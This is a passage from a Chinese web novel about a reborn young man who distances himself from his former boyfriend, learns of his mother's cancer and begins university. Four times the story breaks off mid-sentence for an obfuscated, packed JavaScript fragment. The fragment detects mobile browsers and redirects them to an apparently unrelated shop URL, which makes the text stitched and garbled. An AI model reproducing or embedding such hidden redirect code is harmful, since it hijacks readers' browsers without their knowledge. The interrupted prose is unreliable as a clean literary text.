我也想去远方,闯一片我自己的天地。 112 吴理看着我的眼睛。 “京城不好吗?” 他的声音很轻,像是怕惊碎了什么。 113 “好,但我要不起。” 我们仿佛在猜哑谜。 114 吴理又沉默了。 他还是如往常一样给我订正错题,给我一遍一遍讲解知识点。 我的练习册中突然多了几张奇怪的传单,那是京城所有大学的介绍,排在第一的就是我上辈子的母校,明江大学。 明江大学离京城大学只有一站路,我的整个大学就在这两点一线中穿梭。 就像陷入了一场无休止的循环。 梦醒了,我也应该走了。 115 我把传单默默收了起来,上面的内容一个字都没有看过。 116 传单依然锲而不舍地出现在我目之所及的任何地方。 117 距离高考还有一周,吴理一个保送生,本来是可以不去参加高考的,但学校为了高考成绩,想让他去搏一搏状元。 于是他又回到了A班。 有一次我路过A班教室,看见严语英正在和他讨论题目。 真好,比起和我这样什么都听不懂的人交流,和严语英讨论,才更舒心吧。 我快步掠过了教室。 118 高考那天,父母请假来陪我。父亲穿了一身红色旗袍,说是寓意大红大紫。母亲举着横幅,横幅上写的不是祝你金榜题名,而是恭喜长大成人。 差点忘了,今天是我的生日。 这样的生日,还真是令人难忘。 119 再一次踏上高考考场,我已经不会再紧张。 最后一门考试结束的铃声响起,我放下笔,出教室门时看见了吴理。 ? 他怎么会在这? 我还记得当年他提前出考场,被一堆媒体挤上来采访问感想,他给人来了一句“题目出得很有水平”,仿佛出题组组长来检阅成果了一样。 后来他高考成绩出炉,不出所料一举拿下京城高考状元,那个视频又被顶到热门。那个时候他已经答应了我的表白,我牵着他的手和他一起看视频,点评道:“要是记者问你有没有谈恋爱你会怎么回答?” 他一本正经:“不能早恋。” 120 这一次没有记者了,只有蜂拥的人群。 我在黑压压的人群中找到了白玉女士的横幅,眼睛一亮。 “我走了。”我匆匆和吴理告别。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124724|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他一下拽住我的手,抿了抿唇,问:“晚上的聚会,你还来吗?” 121 OMG! 要不是他提醒我都忘了,这不就是那个我强吻他的抓马聚会吗? 这辈子我已经不想和他有任何纠缠。 再去我就是狗! 122 汪汪汪。 123 我发誓,不是因为他,而是因为老班。 老班自从知道了我的志愿是江南大学,就一直劝我,他说你的成绩我知道,报明江大学性价比更高。 他说小鹰想飞是好事,但我们这些过来人,还是想要你们的路走得更顺一点。 124 老班在,我不能不去。 他是真心对我好的。 和上辈子一样,A班和B班在聚会的酒店里狭路相逢,老班和A班班主任见了面就掐起来,一个说吴理在你们B班是埋没才华,一个说吴理只有在B班才能释放天性。 嗯,吴理俨然成为了他们play的一环。 饭桌上我先吴理一步坐在秦大宝和高小强中间,他脚步顿了顿,便被A班班主任拽到他们班的桌上,严语英招手让他过去。 我挪开眼,和秦大宝讨论今天的考试题。 125 “好了好了,小兔崽子们,考完就放下了,跟着我们去KTV,好好放松放松!” 老班rua了一把我的头,我本想拒绝,毕竟我实在不想触景生情。但老班没有给我说话的机会,我夹在人流之中,跟着大家移到了酒店的KTV包厢。 “一转眼兔崽子们都长大了。”老班感慨,抬手便要了一件啤酒,“今天就让你们放肆放肆,不准灌酒啊,想喝的就喝,不想喝的自己喝果汁,听到没有?” “是——” 大家拉长声音,激动起来。 老班拉着A班班主任在台上深情献唱“兄弟一生一起走”,刚刚还吵得不可开交的两人转眼就抱在了一起。 他们的关系一直是我们年级的不解之谜。 126 我缩在角落里,抱着一杯橙汁。 上辈子我也是这样,在众人的喧闹声中兀自咂摸出一点无趣。然后我抱着一瓶啤酒咕噜下去,也许酒壮怂人胆,在吴理被挤到我身边的时候,我看着他的眼睛,昏暗的包厢里,乱晃的灯光在他眼中碎了一片星河。 我吻了上去。 127 像羽毛,轻挠心底。 128 吴理也愣住了。 没有人注意到这一方角落发生的惊天大事。 我再一次告白:“我们就试一试,好不好?不合适再分开。反正试一试又不会少块肉。” 他声音低沉,过了好久,才道:“好。” 129 “添儿,来,喝酒!”高小强跳到桌上,精准地把我从角落里挖出来,递给我一杯啤酒。 一只冷白的手从一边截过了那杯酒,吴理的指节分明,他将杯子接了过去,沉声道:“他不能喝酒。” 我确实不想喝酒,但也轮不到前男友来帮我挡,他算哪根葱? 我从他的手中抢过酒杯一饮而尽,杯子撞在桌上,我豪气一吼:“谁说我不能喝!” 130 高小强拍手,大喊了一声“好”。 不过他还是有眼力见的,之后再也没有给我递过酒。 我又抱着我的橙汁缩回了角落,这一次吴理也靠了过来。 131 我们并肩坐在一起,温热的气息透过衣服相互交缠。 他侧脸看向我,似乎在等待什么。 132 灯光斑斓,有些晃眼。 我别开眼神,靠在抱枕上睡了过去。 133 真奇怪,我怎么会以为,他刚刚的姿势是在索吻? 5. 早就拉黑 134 我还是没能如愿去江南。 135 高考成绩出来了,我的分竟然比上辈子多了几十分,看来吴理坚持不懈的辅导还是有效果的。 我甚至踩上了京城大学去年的调档线。 136 成绩出来当晚,我接到了吴理的电话。 他问我考了多少分,语气有些小心翼翼。 我实话实说。 他停了一瞬,问:“那你要不要考虑一下京城大学?” 这话问的,好像京城大学很上不了台面一样。 137 我说不了,这个分我进去只能读考古和护理。 我既没有救死扶伤的伟大情怀,也没有追寻古物的高尚情操。 对了,好像忘了说,我上辈子学的是师范。 是的,就是号称表演技能最强的师范。 我报这个专业,算是受了老班的影响。 我跟吴理告白后,这件事不知道怎么被别人知道了。 隔壁班有个一直看我不顺眼的傻子,拿着这件事大肆宣扬,说我癞蛤蟆想吃天鹅肉,说我喜欢男人,恶心。 我其实也没有怎么他,我们是初中同学,但他喜欢的女生跟我告白了,我十分诚实地跟那个女生说:“很抱歉让你失望了,因为我是gay。” 女生接受得很坦然,并答应帮我保密。但那个傻子似乎觉得是我辜负了那个女生,从此一直和我作对。 这件事我没告诉过吴理。 我曾见过一个小孩用手碾死蚂蚁之后,露出甜甜的笑容。蚂蚁的尸体在他的手上碎成渣滓,而他乐在其中。 于我而言,校园霸凌给我的感觉和看见那个小孩碾死蚂蚁没什么两样。 看起来十分幼稚,却暗藏着残酷的恶意。 138 后来老班知道了这件事,他把我叫到办公室,没有骂我,没有叫家长。 他看着我的眼睛,说:“小添,这条路很难走,老师希望你的人生路走得平一点,顺一点。” 我低着头不说话,那时候的我,就算是到了南墙也不会回头。 老班叹了一口气:“不过,如果你真的下定决心,至少也要等羽翼丰满之后,再做出决定。” 那时候我以为老班只是单纯怕我早恋,现在看来,他真是用心良苦。 139 明江大学的师范专业在全国都是顶尖,我毕业之后去见了老班一面,还和他放下豪言壮语,说自己要当他的同事。 只是没想到,还没等到工作,我就早早离开人世。 140 我在志愿填报单上写下江南大学。 傍晚饭桌上,父亲问我填的什么,我说江南大学。 他沉默片刻,想要说什么,又止住了。 他最后只连连说好。 我问他母亲呢,最近母亲工作越来越忙,出差时间一次比一次长。 我记得她的工作并不需要这么频繁的出差。 一丝疑虑爬上我的心头。 父亲埋着头含糊道:“她最近工作晋升,忙。” “对了,小添。你们同学是不是都去什么毕业旅行了,你也出去玩一段时间吧,我等会儿给你打点钱。” 不对劲。 上辈子我和吴理确认关系之后,一个暑假都和他腻在一起。他天天去市图书馆,我也装作一副好学生的样子。 我开始回忆上辈子家里有没有什么异常。 然而我什么都想不起来。 我惊觉,因为吴理,我似乎错过了很多瞬间。 我把我的十年都耗在他身上,到最后,不过一本糊涂账。 141 父亲说他晚上要去加班。 我不信,悄悄跟了上去。 我骑着母亲的电动车跟在后面,车流中,父亲的车如一尾游鱼,霓虹闪烁,鱼儿停在了市肿瘤医院的门前。 我心脏一紧。 我看着父亲按下了去三楼的电梯,我直接从安全通道朝上冲,一步三个台阶。 父亲的身影拐进了一间病房,隔着模糊的病房玻璃,我看见了母亲有些消瘦的身体。 眼泪夺眶而出,我双腿一软,靠着楼梯间的墙慢慢滑下去。 “啪嗒。” 声控灯灭了,医院红十字标志的灯在窗外闪烁,红光照在我的脸上,我竟觉得滚烫。 我真失败。 竟然没有察觉到母亲患病。 我狠狠扇了自己一巴掌。 142 这一晚,我放下了我对吴理的最后一丝执念。 143 我走进病房,父母惊愕地看着我。我扑入母亲怀中,像小时候一样,放声大哭。 “妈妈,不要丢下我。” 我刚会走的时候,父母最爱和我玩一个游戏——他们会拿着糖果,分别朝两个方向跑,看看我要选谁。 我每一次都毫不犹豫地选择妈妈,但害怕爸爸伤心,我会把得到的糖果送给他。 有一次,妈妈跑得很快,我追不上。我嚎啕大哭,喊道:“妈妈,不要丢下我……” 忽然,我被举了起来,爸爸把我放在他肩上,笑着对我说:“我们一起去追妈妈好不好?” 追上后,他抱着妈妈的腰,开玩笑道:“老婆,也别忘了我。” 记忆中的欢声笑语凝固在父母的几根白发上,父亲牵着母亲的手,也红了眼眶。 母亲像小时候一样回抱住我们,安慰道:“好啦好啦,医生说了,手术成功率很高,都哭丧着脸干嘛。还有小添,爸爸妈妈不告诉你,是怕你担心,你不要多想。” 144 那一晚,我是趴在妈妈病床边睡着的。 醒来的时候,妈妈正在玩我的呆毛。她揪着我睡乱的头发,朝我眨了眨眼,一笑。 阳光照在她的眼中,映出淡淡的琥珀色。 而后,我在她的眼里看见了自己的倒影。 “小添,小添……” 她像小时候一样叫我。 145 母亲是乳腺癌,恶性叶状肿瘤,医生说预后算所有恶性肿瘤中比较好的,五年生存率能有70%。 可对所有病人家属来说,我们想要的,从来都是100%。 146 手术日期在后天。 回到家后,我登上网站,将志愿改成了明江大学。 母亲是在我研三那年走的,一场车祸夺走了她的性命,我一直以为那是一场意外。 上辈子,她在我上大学那年换了工作,她当时说她想放松放松,所以换到了离原单位十几公里外的分公司。 她每天需要赶一个多小时的通勤,后来某天早上,她担心迟到,没有注意到路况,连人带车被一辆闯红灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124725|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的皮卡撞飞出去。 现在看来,冥冥之中一切早有痕迹。母亲若不是因为做过手术,又怎会离开工作强度极大的总公司,又怎会碰上那场车祸? 而我竟对这一切,一无所知。 147 这一世,我要好好守着她。 148 手术很成功,父亲在手术室外一直双手合十对天祈祷。 一向坚定的无神论者也在这个时候拜起了各路神佛。 医生出来宣布手术成功的时候,他直接跪在人脚下,连连磕头。 我也跟着“扑通”一跪。 医生护士怎么拉都没把我俩拉起来。 149 母亲住院休养期间,一个陌生号码突然打给我。 我天天忙着母亲的病情护理,因此脑袋有些发懵。接起来,竟然是吴理的声音。 我突然想起来,知道母亲病情那晚,我把他的联系方式拉黑了。 既然下定决心要断,就要断得干净点。 150 他问我最近有空吗?要不要来图书馆?图书馆最近新建了几个区域,他想我应该会喜欢。 我淡淡地拒绝了他。 他沉默了半晌,问:“你怎么了?发生什么事了?感觉你的声音听起来很累。” 我说:“没事,挂了吧。” 他连忙说等一等。 听筒里一时只有两道清浅的呼吸声。 151 吴理说:“录取通知出来了,老班说你去了明江大学。” 是吗?录取通知竟然这么快?我都没注意,他倒比我还上心。 “谢谢。” 毕竟人专门打来个电话告知,于情于理我都得说这一声。 152 “你最近……真的没空吗?” 他还不死心。 我皱眉看了接听界面一眼,都要怀疑对面是不是被夺舍了? 吴理什么时候对人这么死缠烂打过。 153 “最近忙,之后再联系,挂了啊。” 我按下红色的挂断键。 吴理应该能听懂是什么意思吧?成年人的世界,下次再见都是托词。 客套着客套着,就成为了双方生命中的过客。 直到再也不见。 154 报道那天,母亲已经出院了。我和父亲商量了一下,打算直接让她辞职。 反正她再过十年就能退休了,剩下的日子,好好养身体才是最重要的。 父亲本就不忍心母亲折腾,再加上我的执意坚持,母亲还是同意了。 我说她如果不在家好好休养,我在学校里也学不安生,不如退学回来守着她。 母亲点了点我的额头,还是松了口。 155 但她坚持和父亲一起送我去学校。 熟悉的校门,熟悉的大道。 我在那条路上走了无数遍,熟悉到我能记清楚道旁每棵银杏树的形状。 东湖是我最喜欢散步的地方,图书馆承载了我每个期末周的记忆。 到头来,我还是忘不了我的母校。 166 然而此刻,熟悉的大门前站着一个本不应该站在这的身影。 吴理朝我的方向投来一瞥。 而后,他的目光便留在了我的身上,再也没移开。 6. 普通同学 167 分手那天,他的目光分明移走得很决绝。 168 其实我对我们的分手早有预料。 刚和吴理在一起的时候,我自动忽略了他的所有冷淡,满心欢喜地和他畅想未来。 我们的大学只隔了一站路,每到周末,我都会去他学校找他。 京城大学的门禁制度非常严,混是混不进去的,只有让本校学生带着才能入校。 吴理自然不可能浪费宝贵的科研时间来接我。 于是我捞了个本校生,和他签订了一笔长期交易,每次入校都借用他的学生卡进去。 后来有一次,我跟着那哥们进校门时,恰巧撞见了往这边走的吴理。吴理和他的朋友们在一起,应该是在商讨一个比赛项目的事,严语英也在。 他冷冷地看了我一眼,与我擦肩而过。 就像陌生人。 我在原地怔愣许久,久到带我进来的那位兄弟都察觉到了不对劲。 他推了推我,小心翼翼问:“你没事吧?” 我抿着唇,摇了摇头:“没事,对了,我之后应该不用麻烦你了。” 169 我兀自一腔热血两头奔波,却忘了也许吴理根本不想让我去找他。 170 那年我们大一,一直到期末结束,我都没再去过他学校。 大二那年吴理从学校搬了出来,他给了我一把他房子的钥匙,于是我们顺理成章地同居。 搬进去那天,玄关柜的钥匙下压着一张学生卡,吴理淡淡对我说:“以后来找我用这张卡。” 我看着上面那张帅气的证件照,毫不争气地笑了。 那晚我们温存了许久。 171 我擅自以为我们已经是情侣,却忘记了吴理从没跟我说过一句我爱你。 172 吴理的生日在11月2号,按照星座理论,他是天蝎座。 网上不都说天蝎座的爱恨很浓烈吗?为什么在吴理身上,我一点都感觉不到? 第一次意识到这件事是在大二那年,吴理生日。 他邀请了一些朋友来家里过生,那晚我在自习室赶一个临时布置的课设,手敲键盘敲得都快冒火星了,生怕错过吴理的生日聚会,简直是归心似箭。 晚上九点左右,我急匆匆回了家,怀中抱着我事先订好的巧克力蛋糕和玫瑰花束。 “叮。” 电梯门打开,入户门虚掩着。 小区房型是一梯一户,因此我刚从电梯出来,就听见了从门缝中传出的清晰的交谈。 “理哥!和你一起住的那小子和你什么关系啊?”那道声音好奇问道,带着一点起哄的意味。 “你们不会是在谈恋爱吧?哪天介绍给我们认识认识?” 我脚步一顿,竟然开始紧张起来,屏住呼吸,想听听吴理的回答。 那些情感指导总说,一个人若是愿意带你融入他的朋友圈,那就是彻底接纳了你。 我深吸一口气,准备等吴理点头认可后,昂首挺胸地推门走进去,sayhi,我是吴理的爱人。 “一个解闷的小玩意儿而已,就阿理这条件,要谁谁不上赶着?”一道有些不屑的声音紧接其后,“先不说阿理家里人同不同意,就算他真喜欢男人,咱们语英不更合适?” “别拿我打趣啊。”严语英含笑的声音温柔响起。 后来他们又换了话题,好似我这个“小玩意儿”不值得他们为我花费任何心思。 自始至终,吴理没有说过一句话。 但有时候,沉默本身就代表着一种立场。 173 我没有勇气再踏进去。 我抱着有些枯萎的花朵和已经化掉的冰淇淋蛋糕,一个人在小区内缓缓踱步。 我开始对这段关系感到迷茫。 我们真的在一起了吗? 我真的只是……一个解闷的小玩意儿吗? 174 那夜我一直等到宾客散尽才回去,花束被我丢进了垃圾桶,蛋糕我不想浪费,于是就坐在小区的长椅上,一口一口挖着吃完了。 我携着满身寒气,站在一片狼藉的客厅里。 吴理没有问我去哪,只是沉沉看着我。 我尽力扯出一个笑:“作业太多,现在才赶完,回来晚了,抱歉。” “当——” 时针指向十二点,墙上的古董钟开始报时。 “生日快乐。” 11月2日的12点01分,我对吴理说了一声迟到的生日快乐。 175 他看着我空荡荡的双手,良久后,缓缓道:“你的学习从来没有规划,生活也是。” ——这是在批评我迟到回家了。 他高高在上,好似掌管我工资绩效的人事总管,而我如牛马一样唯唯诺诺。 其实除了花束和蛋糕,我还准备了其他礼物,是一对手工戒指,我亲手做的,两个戒指合在一起,就是一个Ω符号,很符合吴理的气质。 这还是我第一次把这个符号看顺眼。 但现在,我突然不想拿出来了。 我再如何贱,也不想一片真心被践踏。 176 后来,我特意打听了一下吴理的家庭背景。 和他在一起时,我从未想过这些弯弯绕绕,只知道他家条件在京城这片寸土寸金的土地上,都算不错。 但那日听到他朋友的随意一提,我才后知后觉。 也许吴理的家庭不如我想象得那么简单。 177 书香世家,官宦商贾。 我竟从未察觉到,他的那个“吴”,是出过两位院士的“吴”,是京城大名鼎鼎的那个“吴”,是某个知名企业的“吴”。 怪不得他朋友说我是个解闷的玩意儿,甚至连我自己都要怀疑,我是不是别有目的了。 178 我们之间,隔着深深的天堑。 在一起,才是奇迹。 179 “你怎么来了?” 漫长的回忆在脑海中也只是一闪而过,当着父母的面,我不好和吴理摊开说,只能旁敲侧击暗示。 ——言下之意,你干什么来了?这里不需要你。 “叔叔,阿姨。” 吴理先跟我父母打了招呼,经过学校一个假期坚持不懈的宣传,父母已经知道了眼前这位就是保送京城大学又取得高考成绩第一的状元。 没有家长会拒绝这样的人。 我的父母俨然忘记了自己的儿子,开始瞻仰学霸。 似乎用参观更合适。 “你报道完了吗?” “你高考是怎么考的呀?” “这孩子,长这么帅,等会儿和阿姨合张照。” “他不喜欢拍照。” 我愣愣冒出一句,滔滔不绝的母亲“呀”了一声,笑道:“抱歉抱歉,阿姨不知道。” “没事。”吴理闷闷看了我一眼,又转回去,“可以拍。” 180 我一头问号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124726|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干嘛用那么幽怨的眼神看我?这话不是你自己说的吗? 181 要是吴理喜欢拍照,我们也不至于到现在只有小学奥赛的那一张合照了。 我们刚在一起时,我还遮掩不住怀春少男的心思,想暗戳戳在朋友圈盖个章官宣一下。 没想着露脸,就打算发发牵手拍拍影子什么的,吴理看着我的手机镜头,仿佛那是什么洪水猛兽。 “我不喜欢拍照。”他皱眉。 我立即放下手机,生怕触了他的逆鳞。 再之后,我时刻牢记这条规矩,从不让吴理出现在我的镜头之中。以至于分手之后,我连个睹物思人的念想都没有。 182 谈恋爱谈到我这种地步的,也是头一份了。 183 报道的过程很顺利,就是吴理跟块狗皮膏药一样,怎么撵都撵不走。 我索性不去理他,反正有我爸妈在,也不愁话题。 于是他就这样诡异地跟着我们一家人逛了一圈校园。不知道他是怎么做到的,在我爸妈心中,我们的关系俨然是最好的兄弟,莫逆之交,高山流水遇知音,朋友一生一起走…… 上辈子怎么没发现他这么能胡扯。 184 东湖边,吴理主动提出帮我们拍一张全家福。 我没反对,毕竟这样的机会确实难得。 母亲兴致冲冲地站在C位,我和父亲就是衬托鲜花的两片绿叶。 父亲细致地给母亲围好围巾,我笑着看他们,闪光灯一亮,画面定格。 照片中,父亲的视线一直落在母亲身上,显得我像一个超大瓦的电灯泡。 我看着照片幽幽叹气,吴理也看了半晌,不知道在想些什么。 185 而后吴理又主动和母亲合照,我只能充当摄影师。 这还是吴理第一次出现在我的镜头里。 真帅啊,我毫无感情色彩地感慨道。 拍完之后,吴理站在原地不动,就盯着我看。 母亲从我手中接过手机,笑吟吟推了我一把,道:“快去,我给你们也拍一张。” 拒绝的话还堵在嗓中,吴理就攥过了我的手腕,和我并肩。 岸边垂柳依依,波光粼粼荡漾。 “咔嚓。” 这是我们的第二张合照。 186 吴理着急地去添加母亲的好友,要和她交换照片。 我懒得管,任他去。 反正,我们的缘分也就到这了。 一张照片而已,又能代表什么? 187 父母见我安顿好之后才离开,我将他们送到停车场,母亲拉着我的手,看了半天,而后欣慰一笑:“小添长大啦。” “好了,才做过手术,别站在风口。”父亲打开车门,着急把母亲推入车里。 吴理站在我身后一步之遥的地方,听到这句话猛然抬头,声音绷紧:“手术?” 母亲随意地摆了摆手:“假期里做了个小手术,不碍事。” 我怕吴理追问,连忙和父母告别,送他们离开。 车后视镜里已经看不到我的身影。 吴理还站在我身后不动,岿然如山。 188 “为什么不告诉我?”吴理看着我,抿了抿唇,“你假期不出来,就是因为……” “吴理,我们只是普通同学。” 我转身回头看着他,声音平静。 一句话,界限分明。 7. 是前男友 189 不用天天跟在吴理后面的大学生活就是爽。 以前为了去找他,我还特意办了一张地铁卡——卡面是和某个IP联动的图案,上面是一个大大的爱心。 我跟吴理说,这张卡片就是我们爱情的见证。 吴理扫了一眼,评价道:“它只是一张地铁卡,并不能充当情感媒介。” 切,毫无浪漫细胞。 190 这辈子我自然不可能再去费尽心思办什么联动地铁卡。 某天吴理又跑到学校来找我,我惊讶地发现那张地铁卡竟然挂在了他的书包上,和他的校园卡一起。 晃晃荡荡,生怕谁看不见一样。 我视若无睹。 191 吴理来了好几回,见我没有主动提起。终于有一次,他取下那两张卡片,小心翼翼地递给我,试探问:“你拿着吧,来京城大学会方便一点。” 我面无表情,语气冷酷:“我为什么要去京城大学?” 吴理沉默半晌,憋出一个理由:“那里图书馆……藏书丰富。” 笑话,我是什么爱学习的人吗?用图书馆来诱惑我,和用美色诱惑太监有什么区别? “不用了,我们学校的书够我看的。” 我毅然转身,今天是我回家吃饭的日子,我可不想被无关紧要的人浪费了时间。 我大步迈向前方,我能感受到,一道炯炯的目光盯着我的背影,看了许久。 192 这一年里,母亲的病情稳定下来了。吴理也风雨无阻,每周至少来我学校一回。 我知道他很忙,比赛、科研、学习……也不知道他是怎么挤出那么多时间来找我的。 你以为我会感动吗? 不,我只会冷笑一哼,心中暗嘲——你看,这不能挤出时间吗?看来上辈子是真的不爱。 193 但他不是每一次都能见到我的,我也很忙。没有吴理占据我的空余时间,我多了很多活动。 社团、联谊、聚会…… 我都死了一次了,多玩玩怎么了。 找不到我的时候,吴理就会在我宿舍楼下的银杏树旁站着,有一次我聚会回来晚了,几乎是踩着门禁时间的点。一路狂奔到宿舍楼下,看见一个影影绰绰的黑影,蓦地停下来,以为见了鬼。 一盏半明半暗的路灯照在黑影的身上,我定睛一看,才发现那竟是吴理。 他穿着一件单薄的大衣,版型有些像我上辈子最爱给他买的那种。 他也许是听见了我的动静,转过头来,昏黄的灯光将他笼着,空中有细碎的尘埃漂浮,他的鼻尖通红,在看到我时,他眼睛一亮。 “给。” 他从怀中掏出了一袋还冒着热气的板栗——是我最爱吃的那家,晚上八点关门,难为他揣着等这么久。 我冷冷地看了一眼,心中毫无感觉。 也许有一点,但那一点,是万亩荒芜上仅存的一抹绿,风一吹,便连根拔起。 “你回去吧。”我看了一眼手表,离闭寝还有一分钟,“以后别再来了。” 也许是被回寝的急切情绪沾染,我的声音带了一点恼怒。 我们现在这样算什么呢? 拉拉扯扯,牵连不清。 我又在气什么呢? 气他浪费自己时间,罔顾学习和工作?气他在大冬天站在冷风里,买了一袋板栗是想博同情? 归根结底,还是是气我自己。 气我自己不够狠心。 194 也许是那晚我的语气太过决绝,吴理还真的消失了一段时间。 我总算清净了一段日子。 学校大门不会出现莫名其妙的身影,银杏树下也不会有人驻足长等。 “小白,小白!” 我收回落在银杏树上的视线,恍然一惊。 原来是辩论社的学姐在叫我。 这学期我加入了学校的辩论社,本意是发展点兴趣爱好,辩论又是一种可以合理和人吵架的方式。 除开辩论社,我大手一挥,还参加了心理社、围棋社、机器人社…… 仿佛又回到了少年宫那段忙碌的岁月。 “你大二想留社吗?让你当副社长啊。” 学姐笑吟吟的,像是抛出了一个烫手山芋。 “不要,我就想安安稳稳混日子。” 我蔫蔫地把头埋在围巾里,最近换季了有点感冒,我的声音闷闷的。 “你倒是实诚。”学姐噗嗤一笑,“你参加那么多社团,忙得过来吗?我听说你们那个机器人社最近在筹备什么比赛?含金量还挺高的,是不是?” 195 我知道吴理最近为什么不来找我了。 学姐一提,我才想起来。这段时间正是吴理准备比赛的日子——金银杯,由全国几大顶尖大学主办,所有高校共同参与的机器人设计大赛,含金量非常高,高到拿过相关奖项就能收获大厂实习offer的那种。 上辈子我去找吴理,被他无视,就是在这场比赛期间。 196 说起来,关于金银杯,还有一个好玩的故事。 据说金银杯是由某知名企业赞助,命名时大家都觉得这个名字太俗,但那位企业家却说这两个字有特殊意义。 企业家的爱人是一位数学家,他求婚时为展现爱意,打了一个凤凰形状的24K纯金戒指,试图俘虏爱人的芳心。 没想到他爱人戴上戒指后,十分嫌弃,原因是戒指太重,耽误她拿笔。 于是数学家亲手制作了一对银戒,两个戒指拼在一起,是一个“∞”符号,意为,他们的爱情无极限。 我当年做的那副戒指,就是受了这个故事的启发。 为了纪念这份感情,企业家特意为金银杯设置了别出心裁的奖品。 冠军队伍会获得一对凤凰样式的金戒指。 而亚军拿到的则是能合成无限符号的银戒。 于是参加金银杯的比赛选手都有一个不成文的习俗,就是用比赛奖品求婚。 用我的作品赢得的戒指迎娶爱人——他们称之为理工男的浪漫。 197 是挺浪漫的。 如果这个浪漫故事不是我从别人口中听到的,那就更浪漫了。 上辈子我知道这个故事后,一直期待有一天吴理能将这只戒指戴在我的手上。 我见过他的奖品,他每年都参加,年年是冠军。 书房里的陈列柜里摆满了他的荣耀,一对又一对凤凰金戒藏在里面,倒显得毫无存在感。 我有一次实在好奇,在打扫书房卫生的时候,将其中一对戒指拿出来看了一眼,还没仔细看清楚呢,吴理就推门进来。 他蹙了蹙眉,从我手上夺过戒指,很不高兴的样子。 我吓了一跳,但还是第一时间说了抱歉,毕竟我擅自动了他的东西,确实不应该。 他看了一眼我手中的抹布,道:“我的书房不用你打扫。” 我讷讷地应了声好。 推门离开时,又听到背后传来一句—— “以后你要进书房的话,给我说一声。” 我的心脏莫名其妙一紧。 “好。” 我艰涩地发出一声回应,便匆匆离开。 从此以后,我再也没有进过他的书房。 是我擅自将那里当作了家,却忘记我在吴理眼中,不过是一个暂居的客人。 客人怎能随意踏足主人家的书房? 自然,也不该随意肖想不属于我的东西。 198 大二开学,学姐果然宠我,没有把副社长那当牛做马的位置留给我。 但出乎意料的,竟是一位大一新生成了副社长。 据说这位学弟在高中就曾参加过全国辩论大赛,并斩获一等奖,是个不可多得的宝贝。 学姐跟我介绍的时候摩拳擦掌,仿佛挖到了什么宝藏。 “对了,我看了他的简历,他还是你的少年宫校友呢。” 我一愣,我曾跟学姐添油加醋地说过我在少年宫的辉煌事迹,却没想到她竟然记住了,还给我张罗了个“校友”出来。 出于好奇,在新社员介绍会上,我顺着学姐的指示,看向了我的那位“校友”。 性格开朗,阳光活泼,长相俊俏。一看就是朋友圈好友数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124727|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量成百上千,十分擅长与人相处的社交达人。 “学长们好,我叫路阳,很高兴加入辩论社。” 人如其名,像个小太阳。 199 这位学弟竟然也加入了机器人社。 去年机器人社在金银杯中荣获第四名的好成绩,与前二的戒指擦肩而过。 社里一个个想哄对象的铆足了劲,势必要在今年拿到一对戒指回来。 我是个搞后勤的,倒没有他们这份执念。 作为机器人社后勤部的一员,某天晚上,我晃悠着钥匙去检查部门教室,免得又有人没关电导致线路起火。 这一看,我就乐了。 果然有人没关灯。 我得好好在群里批评他们。 200 我轻轻推门,正想拉闸,却看见一个背对着我的身影。 他的面前是一个已经做了一半的小机器人,那不是今年的参赛作品,应该是这位社员的个人作品。 新生刚刚入社,我人还没记全,他背对着我,我也认不出他是谁。 他似乎是遇到了什么难题,一动不动地跪坐在操作台前,小机器人的线路裸露在外,两只手臂的正中空着一块地方,像是捧着什么东西。 201 “它捧的是玫瑰吗?” 我打趣问道——在看到小机器人的那一刻,我莫名想到小王子。 小王子可以捧着独属于自己的玫瑰,小机器人又为何不可? 202 那个身影晃了晃,猛然回头看向我。 我才发现,这竟然就是我那博才多识的学弟。 看着他震惊的眼神,我一愣,缓缓问:“我猜对了?” 学弟猛地点头,喃喃念道:“嗯,玫瑰,就是玫瑰。” 他看着我的眼睛,许久许久。 “我一直在等。” 203 自从那晚玫瑰之夜后,学弟就缠上我了。 